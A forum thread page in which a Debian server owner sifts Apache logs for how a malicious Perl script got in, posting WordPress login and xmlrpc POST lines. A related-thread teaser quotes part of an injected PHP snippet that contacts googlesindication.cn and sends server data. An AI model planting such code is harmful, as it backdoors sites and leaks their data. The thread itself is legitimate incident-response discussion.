Sponsored Content
Full Discussion: Malicious perl script
Operating Systems Linux Debian Malicious perl script Post 302992376 by dadprpus on Friday 24th of February 2017 09:33:05 AM
Old 02-24-2017
Quote:
Originally Posted by drysdalk
Hi,

I don't think that what you've found is likely to be terribly relevant. Unless the User-Agent has been faked, that's just normal Google crawling.

You're looking for anything that appears to concern a Perl script. POST operations are also probably of particular interest, rather than GETs. At least one POST was probably involved at one point to invoke the malicious script.

Note that there will be separate log files for each site on your server, so you will need to check each Apache access_log that exists on your server in case the exploit was started from another site or location than your WordPress site.

Doing that now but since that was the wordpress install I thought I'd look at that one first. Lots for logs to go through.

---------- Post updated at 09:23 AM ---------- Previous update was at 09:15 AM ----------

Quote:
Originally Posted by dadprpus
Doing that now but since that was the wordpress install I thought I'd look at that one first. Lots for logs to go through.
This one is kinda different:
Code:
195.133.48.121 - - [23/Feb/2017:00:37:19 -0500] "HEAD / HTTP/1.0" 200 300 "http://bettingtips.pro/" "Mozilla/4.0 (compatible; MSIE3.00; Windows 2006)"
195.133.48.150 - - [23/Feb/2017:00:37:20 -0500] "HEAD / HTTP/1.0" 200 300 "http://www.mai-club.ru/otzyivyi.html" "Mozilla/4.0 (compatible; MSIE3.00; Windows 2009)"

---------- Post updated at 09:33 AM ---------- Previous update was at 09:23 AM ----------

and:
Code:
187.190.245.207 - - [23/Feb/2017:00:45:49 -0500] "POST /xmlrpc.php HTTP/1.0" 404 10636 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

187.190.245.207 - - [23/Feb/2017:00:45:50 -0500] "POST /wp-login.php HTTP/1.0" 200 3937 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

195.133.147.89 - - [23/Feb/2017:00:56:28 -0500] "HEAD / HTTP/1.0" 200 300 "http://worldcuisine.pro/" "Mozilla/2.0 (compatible; MSIE7.00; Windows 2006)"
193.124.131.168 - - [23/Feb/2017:00:56:28 -0500] "HEAD / HTTP/1.0" 200 300 "http://banket-restoran.ru/osobennosti-svadby-na-kipre.html" "Mozilla/5.0 (compatible; MSIE3.00; Windows 2002)"




Code:
103.21.44.26 - - [23/Feb/2017:01:09:43 -0500] "POST /xmlrpc.php HTTP/1.0" 404 10636 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
103.21.44.26 - - [23/Feb/2017:01:09:44 -0500] "POST /wp-login.php HTTP/1.0" 200 3937 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

195.133.144.24 - - [23/Feb/2017:01:30:45 -0500] "HEAD / HTTP/1.0" 200 300 "http://nonbox.ru/metod-borby-s-alkogolnoj.html" "Mozilla/2.0 (compatible; MSIE4.00; Windows 2009)"
195.133.147.6 - - [23/Feb/2017:01:31:58 -0500] "HEAD / HTTP/1.0" 200 300 "https://nochuem.ru" "Mozilla/3.0 (compatible; MSIE2.00; Windows 2003)"

So you get the idea. These are all from Petra.



Moderator's Comments:
Mod Comment Please use CODE tags as required by forum rules!

Last edited by dadprpus; 02-24-2017 at 10:42 AM.. Reason: Added CODE tags.
 

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

2. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

3. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl... (1 Reply)
Discussion started by: grajp002
1 Replies

5. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies

6. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

7. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
All times are GMT -4. The time now is 02:42 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy